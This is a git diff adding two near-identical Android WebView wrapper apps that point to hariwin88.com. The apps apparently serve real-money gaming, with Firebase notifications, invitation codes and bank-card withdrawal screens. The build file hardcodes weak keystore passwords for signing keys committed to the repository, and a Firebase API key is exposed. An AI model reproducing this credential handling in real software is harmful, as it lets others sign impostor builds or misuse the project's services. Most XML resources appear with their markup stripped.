b/hari2spin/src/main/res/drawable/shape_dialog_bg2.xml new file mode 100644 index 0000000..7837a42 --- /dev/null +++ b/hari2spin/src/main/res/drawable/shape_dialog_bg2.xml @@ -0,0 +1,6 @@ + + + + + \ No newline at end of file diff --git a/hari2spin/src/main/res/drawable/shape_dialog_bg3.xml b/hari2spin/src/main/res/drawable/shape_dialog_bg3.xml new file mode 100644 index 0000000..ca0a18d --- /dev/null +++ b/hari2spin/src/main/res/drawable/shape_dialog_bg3.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/hari2spin/src/main/res/drawable/shape_dialog_bg_new.xml b/hari2spin/src/main/res/drawable/shape_dialog_bg_new.xml new file mode 100644 index 0000000..e96d4e0 --- /dev/null +++ b/hari2spin/src/main/res/drawable/shape_dialog_bg_new.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/hari2spin/src/main/res/mipmap-anydpi-v26/ic_launcher.xml b/hari2spin/src/main/res/mipmap-anydpi-v26/ic_launcher.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/hari2spin/src/main/res/mipmap-anydpi-v26/ic_launcher.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/hari2spin/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml b/hari2spin/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/hari2spin/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/hari2spin/src/main/res/mipmap-hdpi/ic_empty.png b/hari2spin/src/main/res/mipmap-hdpi/ic_empty.png new file mode 100644 index 0000000..72473d6 Binary files /dev/null and b/hari2spin/src/main/res/mipmap-hdpi/ic_empty.png differ diff --git a/hari2spin/src/main/res/mipmap-hdpi/ic_pull_down.png b/hari2spin/src/main/res/mipmap-hdpi/ic_pull_down.png new file mode 100644 index 0000000..7dc0ec3 Binary files /dev/null and b/hari2spin/src/main/res/mipmap-hdpi/ic_pull_down.png differ diff --git a/hari2spin/src/main/res/mipmap-xhdpi/ic_close.png b/hari2spin/src/main/res/mipmap-xhdpi/ic_close.png new file mode 100644 index 0000000..c0b0127 Binary files /dev/null and b/hari2spin/src/main/res/mipmap-xhdpi/ic_close.png differ diff --git a/hari2spin/src/main/res/mipmap-xhdpi/ic_menu.png b/hari2spin/src/main/res/mipmap-xhdpi/ic_menu.png new file mode 100644 index 0000000..2b55ec5 Binary files /dev/null and b/hari2spin/src/main/res/mipmap-xhdpi/ic_menu.png differ diff --git a/hari2spin/src/main/res/mipmap-xxhdpi/app_logo.jpg b/hari2spin/src/main/res/mipmap-xxhdpi/app_logo.jpg new file mode 100644 index 0000000..d03803a Binary files /dev/null and b/hari2spin/src/main/res/mipmap-xxhdpi/app_logo.jpg differ diff --git a/hari2spin/src/main/res/values-en/strings.xml b/hari2spin/src/main/res/values-en/strings.xml new file mode 100644 index 0000000..0d60963 --- /dev/null +++ b/hari2spin/src/main/res/values-en/strings.xml @@ -0,0 +1,51 @@ + + Please Set Your Password + Cancel + Sure + New Version Update + Next Update + Update Immediately + Click to close notification + Click to re-download + Download failed + Click to install + Download completed + Downloading... + Version update + Downloading game + Getting download data... + Version update + Downloading game + Need to turn on mobile phone notification permission + Exit + Setting + Tip + Please enter the invitation code + My invitation code: + Superior invitation code: + Total number of invites: + App download link: + Share + Check Invitation Records + Invitation Records + Total number of invitees: %d + No Data + Withdrawal Record + Withdrawal Application + Edit Bank Card Information + 60 + Name: + Please enter the bank card name + Bank card account: + Please enter the bank card account + Country: + Please select a country + Bank Name: + Please select a bank name + Note: Please enter the country code before selecting the bank name! + Balance: %s + Total Earnings: %s + Amount: %s + Please enter the withdrawal amount + Withdrawal application has been submitted + \ No newline at end of file diff --git a/hari2spin/src/main/res/values-night/themes.xml b/hari2spin/src/main/res/values-night/themes.xml new file mode 100644 index 0000000..89e12d2 --- /dev/null +++ b/hari2spin/src/main/res/values-night/themes.xml @@ -0,0 +1,70 @@ + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/hari2spin/src/main/res/values/colors.xml b/hari2spin/src/main/res/values/colors.xml new file mode 100644 index 0000000..19ff471 --- /dev/null +++ b/hari2spin/src/main/res/values/colors.xml @@ -0,0 +1,18 @@ + + + #FFFFFF + #FFFFFF + #FFFFFF + #FF03DAC5 + #FF018786 + #FF000000 + #FFFFFFFF + #EF4723 + #FFFFFFFF + #FFFFFF + #2C2C2E + #FFA722 + #434343 + #BCBCBC + + \ No newline at end of file diff --git a/hari2spin/src/main/res/values/strings.xml b/hari2spin/src/main/res/values/strings.xml new file mode 100644 index 0000000..1fe8039 --- /dev/null +++ b/hari2spin/src/main/res/values/strings.xml @@ -0,0 +1,74 @@ + + MENANG77 + 请输入6位密码 + 取消 + 确定 + 版本更新 + 下次更新 + 立即更新 + 点击关闭通知 + 点击重新下载 + 下载失败 + 点击安装 + 下载完成 + 正在下载… + 版本更新 + 下载游戏中 + 版本更新 + 下载游戏中 + 正在获取下载数据… + 需要打开手机通知权限 + 退出 + 设置 + 提示 + 请输入邀请码 + 我的邀请码: + 上级邀请码: + 总邀请人数: + 邀请您下载: + 分享 + 查看邀请记录 + 邀请记录 + 总邀请人数: %d + 暂无数据 + 提现记录 + 提现申请 + 编辑银行卡信息 + 86 + 持卡人姓名: + 请输入持卡人姓名 + 国家地区: + 请选择国家地区 + 开户行名称: + 请选择开户行名称 + 银行户口: + 请输入银行卡户口 + (注:请先输入国家区号再选择开户行名称!) + 余额: %s + 总收益: %s + 金额: %s + 请输入提现金额 + 提现申请已提交 + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/hari2spin/src/main/res/values/themes.xml b/hari2spin/src/main/res/values/themes.xml new file mode 100644 index 0000000..efa2168 --- /dev/null +++ b/hari2spin/src/main/res/values/themes.xml @@ -0,0 +1,90 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/hari2spin/src/main/res/xml/app_updater_paths.xml b/hari2spin/src/main/res/xml/app_updater_paths.xml new file mode 100644 index 0000000..1254450 --- /dev/null +++ b/hari2spin/src/main/res/xml/app_updater_paths.xml @@ -0,0 +1,10 @@ + + + + + + + + + + \ No newline at end of file diff --git a/hari2spin/src/main/res/xml/network_security_config.xml b/hari2spin/src/main/res/xml/network_security_config.xml new file mode 100644 index 0000000..dca93c0 --- /dev/null +++ b/hari2spin/src/main/res/xml/network_security_config.xml @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/hari2spin/src/main/res/xml/provider_paths.xml b/hari2spin/src/main/res/xml/provider_paths.xml new file mode 100644 index 0000000..c9a897a --- /dev/null +++ b/hari2spin/src/main/res/xml/provider_paths.xml @@ -0,0 +1,13 @@ + + + + + + + + + + + + \ No newline at end of file diff --git a/hari2spin/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java b/hari2spin/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java new file mode 100644 index 0000000..3259554 --- /dev/null +++ b/hari2spin/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java @@ -0,0 +1,35 @@ +package Tptogiar.calculcator; + +import org.junit.Test; + +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +import static org.junit.Assert.*; + +/** + * Example local unit test, which will execute on the development machine (host). + * + * @see Testing documentation + */ +public class ExampleUnitTest { + @Test + public void addition_isCorrect() { + assertEquals(4, 2 + 2); + } + + @Test + public void TestPattern(){ +// + Pattern compile = Pattern.compile( "^(\\-|\\+)?\\d+(\\.\\d+)?$"); + String a="+45.5"; + boolean matches = compile.matcher(a).matches(); + System.out.println(matches); + String result = compile.matcher(a).replaceAll(""); + System.out.println(result); + + + } + + +} \ No newline at end of file diff --git a/hariwin88/.gitignore b/hariwin88/.gitignore new file mode 100644 index 0000000..956c004 --- /dev/null +++ b/hariwin88/.gitignore @@ -0,0 +1,2 @@ +/build +/release \ No newline at end of file diff --git a/hariwin88/build.gradle b/hariwin88/build.gradle new file mode 100644 index 0000000..6357d6a --- /dev/null +++ b/hariwin88/build.gradle @@ -0,0 +1,90 @@ +plugins { + id 'com.android.application' + id 'com.google.gms.google-services' +} + +android { + compileSdkVersion 31 + buildToolsVersion "30.0.3" + defaultConfig { + applicationId "com.xyz.hariwin" + minSdkVersion 24 + targetSdkVersion 31 + versionCode rootProject.ext.versionCode + versionName rootProject.ext.versionName + testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner" + } + + signingConfigs { +// debug { +// storeFile file('ppn.jks') +// storePassword "2014123456" +// keyAlias 'key0' +// keyPassword "2014123456" +// } +// release { +// storeFile file('ppn.jks') +// storePassword "2014123456" +// keyAlias 'key0' +// keyPassword "2014123456" +// } + debug { + storeFile file('justlet.jks') + storePassword "123456" + keyAlias 'key0' + keyPassword "123456" + } + release { + storeFile file('justlet.jks') + storePassword "123456" + keyAlias 'key0' + keyPassword "123456" + } + } + + buildTypes { + release { + signingConfig signingConfigs.release + minifyEnabled false + proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro' + } + } + compileOptions { + sourceCompatibility JavaVersion.VERSION_1_8 + targetCompatibility JavaVersion.VERSION_1_8 + } + + applicationVariants.all { variant -> + variant.outputs.all { + def appName = "hariwin88" + def outputDir = new File(rootProject.ext.outputPath) + // 创建输出目录 + outputDir.mkdirs() + def outputFileName = "${appName}.apk" + // 设置输出文件名 + setOutputFileName(outputFileName) + // 计算新的输出文件 + def newOutputFile = new File(outputDir, outputFileName) + // 如果新的输出目录不存在,则创建它 + newOutputFile.parentFile.mkdirs() + // 在构建完成后将 APK 复制到新位置 + variant.assemble.doLast { + try { + java.nio.file.Files.copy( + outputFile.toPath(), + newOutputFile.toPath(), + java.nio.file.StandardCopyOption.REPLACE_EXISTING + ) + println "Success to copy APK !!!" + } catch (java.io.IOException e) { + println "Failed to copy APK: ${e.message}" + } + } + } + } + +} + +dependencies { + implementation project(path: ':base_theme') +} \ No newline at end of file diff --git a/hariwin88/google-services.json b/hariwin88/google-services.json new file mode 100644 index 0000000..606f8d5 --- /dev/null +++ b/hariwin88/google-services.json @@ -0,0 +1,29 @@ +{ + "project_info": { + "project_number": "1004300137238", + "project_id": "hariwin-bea55", + "storage_bucket": "hariwin-bea55.firebasestorage.app" + }, + "client": [ + { + "client_info": { + "mobilesdk_app_id": "1:1004300137238:android:5136288e0ec71d8d595637", + "android_client_info": { + "package_name": "com.xyz.hariwin" + } + }, + "oauth_client": [], + "api_key": [ + { + "current_key": "AIzaSyAXlYTelxMd2v4C0_PMxCF21wV-ik-t6kk" + } + ], + "services": { + "appinvite_service": { + "other_platform_oauth_client": [] + } + } + } + ], + "configuration_version": "1" +} \ No newline at end of file diff --git a/hariwin88/justlet.jks b/hariwin88/justlet.jks new file mode 100644 index 0000000..a33b839 Binary files /dev/null and b/hariwin88/justlet.jks differ diff --git a/hariwin88/ppn.jks b/hariwin88/ppn.jks new file mode 100644 index 0000000..5898029 Binary files /dev/null and b/hariwin88/ppn.jks differ diff --git a/hariwin88/proguard-rules.pro b/hariwin88/proguard-rules.pro new file mode 100644 index 0000000..107b7ee --- /dev/null +++ b/hariwin88/proguard-rules.pro @@ -0,0 +1,32 @@ +# Add project specific ProGuard rules here. +# You can control the set of applied configuration files using the +# proguardFiles setting in build.gradle. +# +# For more details, see +# http://developer.android.com/guide/developing/tools/proguard.html + +# If your project uses WebView with JS, uncomment the following +# and specify the fully qualified class name to the JavaScript interface +# class: +#-keepclassmembers class fqcn.of.javascript.interface.for.webview { +# public *; +#} + +# Uncomment this to preserve the line number information for +# debugging stack traces. +#-keepattributes SourceFile,LineNumberTable + +# If you keep the line number information, uncomment this to +# hide the original source file name. +#-renamesourcefileattribute SourceFile + +-dontwarn dalvik.** +-dontwarn com.tencent.smtt.** + +-keep class com.tencent.smtt.** { + *; +} + +-keep class com.tencent.tbs.** { + *; +} \ No newline at end of file diff --git a/hariwin88/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java b/hariwin88/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java new file mode 100644 index 0000000..44b9f39 --- /dev/null +++ b/hariwin88/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java @@ -0,0 +1,26 @@ +package Tptogiar.calculcator; + +import android.content.Context; + +import androidx.test.platform.app.InstrumentationRegistry; +import androidx.test.ext.junit.runners.AndroidJUnit4; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import static org.junit.Assert.*; + +/** + * Instrumented test, which will execute on an Android device. + * + * @see Testing documentation + */ +@RunWith(AndroidJUnit4.class) +public class ExampleInstrumentedTest { + @Test + public void useAppContext() { + // Context of the app under test. + Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext(); + assertEquals("Tptogiar.calculcator", appContext.getPackageName()); + } +} \ No newline at end of file diff --git a/hariwin88/src/main/AndroidManifest.xml b/hariwin88/src/main/AndroidManifest.xml new file mode 100644 index 0000000..7637baa --- /dev/null +++ b/hariwin88/src/main/AndroidManifest.xml @@ -0,0 +1,99 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/hariwin88/src/main/java/com/xyz/hariwin/MainActivity.java b/hariwin88/src/main/java/com/xyz/hariwin/MainActivity.java new file mode 100644 index 0000000..b084aea --- /dev/null +++ b/hariwin88/src/main/java/com/xyz/hariwin/MainActivity.java @@ -0,0 +1,57 @@ +package com.xyz.hariwin; + + +import android.content.pm.PackageInfo; +import android.content.pm.PackageManager; +import android.os.Bundle; + +import com.web.base.LogUtils; +import com.web.base.MainActivity2; +import com.google.firebase.messaging.FirebaseMessaging; + +public class MainActivity extends MainActivity2 { + + @Override + protected void onCreate(Bundle savedInstanceState) { + userId = 231; + saveInt(MainActivity.this,"user_code",userId); + saveInt(MainActivity.this,"version_code",getVersion()); + com.web.base.MainActivity.saveString(this, "base_url","https://hariwin88.com/"); + //网页的底部NavigationBar颜色 + com.web.base.MainActivity.saveInt(this, "style_color_int", getColor(R.color.style_color)); + //页面的大背景颜色 + com.web.base.MainActivity.saveInt(this, "windows_color_int", getColor(R.color.windows_color)); + //任务栏的文字颜色 0 黑 1白 默认黑 + saveInt(MainActivity.this,"is_white",1); + super.onCreate(savedInstanceState); + //用于修改大背景渐变色 不设置 大背景就是 windows_color 的颜色 + setBackDrawables(R.drawable.big_bg); + setImageView(true); + //订阅主题 + try { + FirebaseMessaging.getInstance().subscribeToTopic("demo") + .addOnCompleteListener(task -> { + String msg = "Subscribed"; + if (!task.isSuccessful()) { + msg = "Subscribe failed"; + } + LogUtils.i("结果:"+msg); + }); + }catch (Exception e){ + e.printStackTrace(); + } + + } + + + public int getVersion(){ + try { + PackageManager packageManager = getPackageManager(); + PackageInfo packageInfo = packageManager.getPackageInfo(getPackageName(), 0); + int versionCode = packageInfo.versionCode; // 版本码 + return versionCode; + } catch (PackageManager.NameNotFoundException e) { + return 0; + } + } +} diff --git a/hariwin88/src/main/java/com/xyz/hariwin/MyFirebaseMessageingService.java b/hariwin88/src/main/java/com/xyz/hariwin/MyFirebaseMessageingService.java new file mode 100644 index 0000000..22e6bed --- /dev/null +++ b/hariwin88/src/main/java/com/xyz/hariwin/MyFirebaseMessageingService.java @@ -0,0 +1,125 @@ +package com.xyz.hariwin; + +import android.app.NotificationChannel; +import android.app.NotificationManager; +import android.app.PendingIntent; +import android.content.ComponentName; +import android.content.Context; +import android.content.Intent; +import android.os.Build; +import androidx.annotation.NonNull; +import androidx.core.app.NotificationCompat; +import com.google.firebase.messaging.FirebaseMessagingService; +import com.google.firebase.messaging.RemoteMessage; +import com.google.gson.Gson; +import com.web.base.GsonUtils; +import com.web.base.MessageInfo; +import java.util.Map; +import java.util.Random; + +public class MyFirebaseMessageingService extends FirebaseMessagingService { + + public MyFirebaseMessageingService() { + } + + @Override + public void onMessageReceived(@NonNull RemoteMessage remoteMessage) { + super.onMessageReceived(remoteMessage); + Map serviceData = remoteMessage.getData(); //后台推送数据 + if (serviceData != null && serviceData.containsKey("message")) { + String value = serviceData.get("message"); + Gson gson = new Gson(); + MessageInfo messageInfo = gson.fromJson(value, MessageInfo.class); + showNotification(messageInfo); + } else { + //收到通知 创建notify + if (remoteMessage.getNotification() != null) { + showNotification(remoteMessage.getNotification().getTitle(), remoteMessage.getNotification().getBody()); + } + } + } + + private void showNotification(MessageInfo messageInfo) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + notifyIntent.putExtra("message", messageInfo); + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } + + private void showNotification(String title, String body) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.putExtra("message", body); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class); + if (messageInfo != null) { + body = messageInfo.getContent(); + } + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } +} diff --git a/hariwin88/src/main/java/com/xyz/hariwin/WebApplication.java b/hariwin88/src/main/java/com/xyz/hariwin/WebApplication.java new file mode 100644 index 0000000..5b0e264 --- /dev/null +++ b/hariwin88/src/main/java/com/xyz/hariwin/WebApplication.java @@ -0,0 +1,35 @@ +package com.xyz.hariwin; + +import android.app.Application; +import android.content.Context; +import com.tencent.smtt.export.external.TbsCoreSettings; +import com.tencent.smtt.sdk.QbSdk; +import java.util.HashMap; + +public class WebApplication extends Application { + + + public static Context application; + @Override + public void onCreate() { + super.onCreate(); +// 设置开启优化方案 + application = this; + HashMap map = new HashMap(); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_SPEEDY_CLASSLOADER, true); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_DEXLOADER_SERVICE, true); + QbSdk.initTbsSettings(map); + QbSdk.initX5Environment(this, new QbSdk.PreInitCallback() { + @Override + public void onCoreInitFinished() { + + } + + @Override + public void onViewInitFinished(boolean b) { + + } + }); + QbSdk.setDownloadWithoutWifi(true); + } +} diff --git a/hariwin88/src/main/res/drawable-anydpi/ic_action_back.xml b/hariwin88/src/main/res/drawable-anydpi/ic_action_back.xml new file mode 100644 index 0000000..013ab07 --- /dev/null +++ b/hariwin88/src/main/res/drawable-anydpi/ic_action_back.xml @@ -0,0 +1,11 @@ + + + diff --git a/hariwin88/src/main/res/drawable-hdpi/ic_action_back.png b/hariwin88/src/main/res/drawable-hdpi/ic_action_back.png new file mode 100644 index 0000000..1560c04 Binary files /dev/null and b/hariwin88/src/main/res/drawable-hdpi/ic_action_back.png differ diff --git a/hariwin88/src/main/res/drawable-mdpi/ic_action_back.png b/hariwin88/src/main/res/drawable-mdpi/ic_action_back.png new file mode 100644 index 0000000..d5841d2 Binary files /dev/null and b/hariwin88/src/main/res/drawable-mdpi/ic_action_back.png differ diff --git a/hariwin88/src/main/res/drawable-v24/ic_launcher_foreground.xml b/hariwin88/src/main/res/drawable-v24/ic_launcher_foreground.xml new file mode 100644 index 0000000..2b068d1 --- /dev/null +++ b/hariwin88/src/main/res/drawable-v24/ic_launcher_foreground.xml @@ -0,0 +1,30 @@ + + + + + + + + + + + \ No newline at end of file diff --git a/hariwin88/src/main/res/drawable-xhdpi/ic_action_back.png b/hariwin88/src/main/res/drawable-xhdpi/ic_action_back.png new file mode 100644 index 0000000..5c14e41 Binary files /dev/null and b/hariwin88/src/main/res/drawable-xhdpi/ic_action_back.png differ diff --git a/hariwin88/src/main/res/drawable-xxhdpi/ic_action_back.png b/hariwin88/src/main/res/drawable-xxhdpi/ic_action_back.png new file mode 100644 index 0000000..0516d08 Binary files /dev/null and b/hariwin88/src/main/res/drawable-xxhdpi/ic_action_back.png differ diff --git a/hariwin88/src/main/res/drawable/big_bg.xml b/hariwin88/src/main/res/drawable/big_bg.xml new file mode 100644 index 0000000..2e41ced --- /dev/null +++ b/hariwin88/src/main/res/drawable/big_bg.xml @@ -0,0 +1,8 @@ + + + + \ No newline at end of file diff --git a/hariwin88/src/main/res/drawable/ic_launcher_background.xml b/hariwin88/src/main/res/drawable/ic_launcher_background.xml new file mode 100644 index 0000000..07d5da9 --- /dev/null +++ b/hariwin88/src/main/res/drawable/ic_launcher_background.xml @@ -0,0 +1,170 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/hariwin88/src/main/res/drawable/input_bg.xml b/hariwin88/src/main/res/drawable/input_bg.xml new file mode 100644 index 0000000..4e895aa --- /dev/null +++ b/hariwin88/src/main/res/drawable/input_bg.xml @@ -0,0 +1,20 @@ + + + + + + + + + + + + + + + + + + diff --git a/hariwin88/src/main/res/drawable/pass_word_bg.xml b/hariwin88/src/main/res/drawable/pass_word_bg.xml new file mode 100644 index 0000000..2724e60 --- /dev/null +++ b/hariwin88/src/main/res/drawable/pass_word_bg.xml @@ -0,0 +1,28 @@ + + + + + + + + + + + + + + + + + + diff --git a/hariwin88/src/main/res/drawable/pass_word_bg1.xml b/hariwin88/src/main/res/drawable/pass_word_bg1.xml new file mode 100644 index 0000000..d10d780 --- /dev/null +++ b/hariwin88/src/main/res/drawable/pass_word_bg1.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/hariwin88/src/main/res/drawable/pass_word_bg2.xml b/hariwin88/src/main/res/drawable/pass_word_bg2.xml new file mode 100644 index 0000000..916d99c --- /dev/null +++ b/hariwin88/src/main/res/drawable/pass_word_bg2.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/hariwin88/src/main/res/drawable/shape_btn_bg.xml b/hariwin88/src/main/res/drawable/shape_btn_bg.xml new file mode 100644 index 0000000..af87a0d --- /dev/null +++ b/hariwin88/src/main/res/drawable/shape_btn_bg.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/hariwin88/src/main/res/drawable/shape_dialog_bg2.xml b/hariwin88/src/main/res/drawable/shape_dialog_bg2.xml new file mode 100644 index 0000000..7837a42 --- /dev/null +++ b/hariwin88/src/main/res/drawable/shape_dialog_bg2.xml @@ -0,0 +1,6 @@ + + + + + \ No newline at end of file diff --git a/hariwin88/src/main/res/drawable/shape_dialog_bg3.xml b/hariwin88/src/main/res/drawable/shape_dialog_bg3.xml new file mode 100644 index 0000000..ca0a18d --- /dev/null +++ b/hariwin88/src/main/res/drawable/shape_dialog_bg3.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/hariwin88/src/main/res/drawable/shape_dialog_bg_new.xml b/hariwin88/src/main/res/drawable/shape_dialog_bg_new.xml new file mode 100644 index 0000000..e96d4e0 --- /dev/null +++ b/hariwin88/src/main/res/drawable/shape_dialog_bg_new.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/hariwin88/src/main/res/mipmap-anydpi-v26/ic_launcher.xml b/hariwin88/src/main/res/mipmap-anydpi-v26/ic_launcher.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/hariwin88/src/main/res/mipmap-anydpi-v26/ic_launcher.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/hariwin88/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml b/hariwin88/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/hariwin88/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/hariwin88/src/main/res/mipmap-hdpi/ic_empty.png b/hariwin88/src/main/res/mipmap-hdpi/ic_empty.png new file mode 100644 index 0000000..72473d6 Binary files /dev/null and b/hariwin88/src/main/res/mipmap-hdpi/ic_empty.png differ diff --git a/hariwin88/src/main/res/mipmap-hdpi/ic_pull_down.png b/hariwin88/src/main/res/mipmap-hdpi/ic_pull_down.png new file mode 100644 index 0000000..7dc0ec3 Binary files /dev/null and b/hariwin88/src/main/res/mipmap-hdpi/ic_pull_down.png differ diff --git a/hariwin88/src/main/res/mipmap-xhdpi/ic_close.png b/hariwin88/src/main/res/mipmap-xhdpi/ic_close.png new file mode 100644 index 0000000..c0b0127 Binary files /dev/null and b/hariwin88/src/main/res/mipmap-xhdpi/ic_close.png differ diff --git a/hariwin88/src/main/res/mipmap-xhdpi/ic_menu.png b/hariwin88/src/main/res/mipmap-xhdpi/ic_menu.png new file mode 100644 index 0000000..2b55ec5 Binary files /dev/null and b/hariwin88/src/main/res/mipmap-xhdpi/ic_menu.png differ diff --git a/hariwin88/src/main/res/mipmap-xxhdpi/app_logo.jpg b/hariwin88/src/main/res/mipmap-xxhdpi/app_logo.jpg new file mode 100644 index 0000000..b5159d3 Binary files /dev/null and b/hariwin88/src/main/res/mipmap-xxhdpi/app_logo.jpg differ diff --git a/hariwin88/src/main/res/values-en/strings.xml b/hariwin88/src/main/res/values-en/strings.xml new file mode 100644 index 0000000..7a00b5e --- /dev/null +++ b/hariwin88/src/main/res/values-en/strings.xml @@ -0,0 +1,52 @@ + + + Please Set Your Password + Cancel + Sure + New Version Update + Next Update + Update Immediately + Click to close notification + Click to re-download + Download failed + Click to install + Download completed + Downloading... + Version update + Downloading game + Getting download data... + Version update + Downloading game + Need to turn on mobile phone notification permission + Exit + Setting + Tip + Please enter the invitation code + My invitation code: + Superior invitation code: + Total number of invites: + App download link: + Share + Check Invitation Records + Invitation Records + Total number of invitees: %d + No Data + Withdrawal Record + Withdrawal Application + Edit Bank Card Information + 60 + Name: + Please enter the bank card name + Bank card account: + Please enter the bank card account + Country: + Please select a country + Bank Name: + Please select a bank name + Note: Please enter the country code before selecting the bank name! + Balance: %s + Total Earnings: %s + Amount: %s + Please enter the withdrawal amount + Withdrawal application has been submitted + \ No newline at end of file diff --git a/hariwin88/src/main/res/values-night/themes.xml b/hariwin88/src/main/res/values-night/themes.xml new file mode 100644 index 0000000..3475a91 --- /dev/null +++ b/hariwin88/src/main/res/values-night/themes.xml @@ -0,0 +1,70 @@ + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/hariwin88/src/main/res/values/colors.xml b/hariwin88/src/main/res/values/colors.xml new file mode 100644 index 0000000..8b783d1 --- /dev/null +++ b/hariwin88/src/main/res/values/colors.xml @@ -0,0 +1,22 @@ + + + #FFFFFF + #FFFFFF + #FFFFFF + #FF03DAC5 + #FF018786 + #FF000000 + #FFFFFFFF + #EF4723 + #1251a1 + + #2C2C2E + #FFA722 + #434343 + #BCBCBC + + #050505 + #010841 + + + \ No newline at end of file diff --git a/hariwin88/src/main/res/values/strings.xml 